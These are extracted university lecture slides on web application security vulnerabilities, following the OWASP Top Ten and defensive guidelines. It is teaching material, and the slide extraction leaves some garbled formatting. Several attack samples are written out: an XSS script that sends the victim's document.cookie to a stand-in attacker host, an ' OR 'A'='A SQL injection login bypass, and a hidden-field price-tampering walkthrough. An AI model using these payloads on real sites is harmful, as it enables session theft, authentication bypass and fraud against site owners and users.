Web Application Security Vulnerabilities Yen-Cheng Chen Department of

Web Application Security Vulnerabilities Yen-Cheng Chen Department of Information Management National Chi Nan University Puli, 545 Nantou, Taiwan ycchen@ncnu. edu. tw

1. Introduction n Web security is important for E-Commerce. n Previous studies: n SSL n SET n Web server security n Application-level security n Web applications mistakenly trust data returned from a client.

2. OWASP Top Ten Web Application Vulnerabilities q. OWASP n The Open Web Application Security Project n http: //www. owasp. org/ q Documents n The Ten Most Critical Web Application Security Vulnerabilities n OWASP Guide to Building Secure Web Applications

The Ten Most Critical Web Application Security Vulnerabilities 1. Unvalidated Parameters 2. Broken Access Control 3. Broken Account and Session Management 4. Cross-Site Scripting (XSS) 5. Buffer Overflows 6. Command Injection Flaws 7. Error Handling Problems 8. Insecure Use of Cryptography 9. Remote Administration Flaws 10. Web and Application Server Misconfiguration

(1). Unvalidated Parameters Information from web requests is not validated before being used by a web application. q. Attackers can use these flaws to attack background components through a web application. q

How to Protect Yourself q. Ensure that all parameters are validated before they are used. n Data type (string, integer, real, etc. ) n Allowed character set n Minimum and maximum length n Whether null is allowed n Whether the parameter is required or not n Whether duplicates are allowed n Numeric range n Specific legal values (enumeration) n Specific patterns (regular expressions)

(2). Broken Access Control q. Restrictions on what authenticated users are allowed to do are not properly enforced. q. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.

How to Protect Yourself q Think through an application's access control and capture it in a web application security policy. q Some specific access control issues include: n Insecure Id's n Forced Browsing Past Access Control Checks n Path Traversal n File Permissions n Client Side Caching

(3). Broken Account and Session Management q. Account credentials and session tokens are not properly protected. q. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.

How to Protect Yourself q Careful and proper use of custom or off the shelf authentication and session management mechanisms n Password Change Controls n Password Strength n Password Storage n Protecting Credentials in Transit n Session ID Protection n Account Lists n Browser Caching n Trust Relationships n Backend Authentication

(4). Cross-Site Scripting (XSS) q. The web application can be used as a mechanism to transport an attack to an end user's browser. q. A successful attack can disclose the end user's session token, attack the local machine, or spoof content to fool the user.

XSS Example ~留言版 ~ <script> window. location="http: //www. hacker. com/steal. cgi? ck="+document. cookie; </script>

XSS Web Application Hijack Scenario www. hacker. com

How to Protect Yourself q Detailed code review that searches the code for validation of all headers, cookies, query strings, form fields, and hidden fields (i. e. , all parameters) q Dangerous Characters for Cross Site Scripting:

(5). Buffer Overflows q. Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. q. These components can include CGI, libraries, drivers, and web application server components.

How to Protect Yourself q Keep up with the latest bug reports for your web and application server products and other products in your Internet infrastructure. Apply the latest patches to these products. q Review all code that accepts input from users via the HTTP request and ensure that it provides appropriate size checking on all such inputs.

(6). Command Injection Flaws q Web applications pass parameters when they access external systems or the local operating system. q If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.

SQL Injection SQLQuery = “SELECT FROM Users WHERE (User. Name='” + str. UN + “') AND (Password='” + str. PW + “'); ” User name “fredchen”, password “ 199 msq” : SELECT FROM Users WHERE (User. Name='fredchen') AND (Password='199 msq'); SQL Injection: User name/Password : ' OR 'A'='A SELECT FROM Users WHERE (User. Name='' OR 'A'='A') AND (Password='' OR 'A'='A');

Input Validation

How to Protect Yourself q Avoid the use of commands where possible. q Carefully validate the data provided to ensure that it does not contain any malicious content. q Ensure that the web application runs with only the privileges it absolutely needs to perform its function. q Any user information that is being inserted into the command should be rigorously checked.

(7). Error Handling Problems q. Error conditions that occur during normal operation are not handled properly. q. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.

How to Protect Yourself q. A specific policy for how to handle errors should be documented. q. Ensure that the site is built to gracefully handle all possible errors. q. Certain classes of errors should be logged to help detect implementation flaws in the site and/or hacking attempts.

(8). Insecure Use of Cryptography q Web applications frequently use cryptographic functions to protect information and credentials. q These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection. q E. g. MD 5(Credit. Card. Num, Random. Num)

How to Protect Yourself q Minimize the use of encryption and only keep information that is absolutely necessary. q Choose a library that has been exposed to public scrutiny and make sure that there are no open vulnerabilities. q Encapsulate the cryptographic functions that are used and review the code carefully. q Be sure that secrets, such as keys, certificates, and passwords, are stored securely.

(9). Remote Administration Flaws q Many web applications allow administrators to access the site using a web interface. q If these administrative functions are not very carefully protected, an attacker can gain full access to all aspects of a site.

How to Protect Yourself q Never allow administrator access through the front door if at all possible. q The use of strong authentication such as certificates, token based authenticators, . . . q The use of encryption (e. g. , VPN or SSL) for the entire administrative session. q Interfaces be separate from interfaces provided to normal users. q Network separation or IP filtering.

(10). Web and Application Server Misconfiguration q. Having a strong server configuration standard is critical to a secure web application. q. These servers have many configuration options that affect security and are not secure out of the box.

How to Protect Yourself q Create a hardening guideline for configuration: n Configuring all security mechanisms n Turning off all unused services n Setting up roles, permissions, and accounts n Logging and alerts q Configuration maintenance: n Monitoring the latest security vulnerabilities published n Applying the latest security patches n Updating the security configuration guideline n Regular vulnerability scanning from both internal and external perspectives n Regular status reports to upper management documenting overall security posture

Other Security Vulnerabilities q Unnecessary and Malicious Code q Broken Thread Safety and Concurrent Programming q Denial of Service q Unauthorized Information Gathering q Accountability Problems and Weak Loggin q Data Corruption q Broken Caching, Pooling, and Reuse

URL/Form Modification n Client-side form validation by HTML itself <input type=text name=id Max. Length=8> n Client-side script <input type=text on. Change=“check. It(this)”> n Hidden form fields <input type=hidden name=price value=“ 5700”> n URL Modification n URL parameter http: //www. citibank. com/print. asp? id=u 1257

Price-Changing Attack q. Saving the HTML form to disk q. Modifying the price <input type=hidden name=price value=“ 1”> q. Modifying the action attribute <form action=“http: //www. e-shop. com/checkout. jsp”> q. Reloading browser the HTML form back into the

Security Guidelines a. b. c. d. e. f. g. h. i. Validate Input and Output Fail Securely (Closed) Keep it Simple Use and Reuse Trusted Components Defense in Depth Only as Secure as the Weakest Link Security By Obscurity Won't Work Least Privilege Compartmentalization (Separation of Privileges)

a. Validate Input and Output q. All user input and user output should be checked to ensure it is both appropriate and expected. q. Allow only explicitly defined characteristics and drop all other data.

b. Fail Securely (Closed) q. When it fails, it fails closed. n It should fail to a state that rejects all subsequent security requests. q. A good analogy is a firewall. If a firewall fails it should drop all subsequent packets.

c. Keep it Simple q If a security system is too complex for its user base, it will either not be used or users will try to find measures to bypass it. q This message applies equally to tasks that an administrator must perform in order to secure an application. q This message is also intended for security layer API's that application developers must use to build the system.

d. Use and Reuse Trusted Components q. Using and reusing trusted components makes sense both from a resource stance and from a security stance. When someone else has proven they got it right, take advantage of it.

e. Defense in Depth q. Relying on one component to perform its function 100% of the time is unrealistic. q While we hope to build software and hardware that works as planned, predicting the unexpected is difficult. Good systems don't predict the unexpected, but plan for it.

f. Only as Secure as the Weakest Link q. Careful thought must be given to what one is securing. q. Attackers are lazy and will find the weakest point and attempt to exploit it.

g. Security By Obscurity Won't Work q. It's naive to think that hiding things from prying eyes doesn't buy some amount of time. q. This strategy doesn't work in the long term and has no guarantee of working in the short term.

h. Least Privilege q. Systems should be designed in such a way that they run with the least amount of system privilege they need to do their job.

i. Compartmentalization (Separation of Privileges) q. Compartmentalizing users, processes and data helps contain problems if they do occur. q. Compartmentalization is an important concept widely adopted in the information security realm.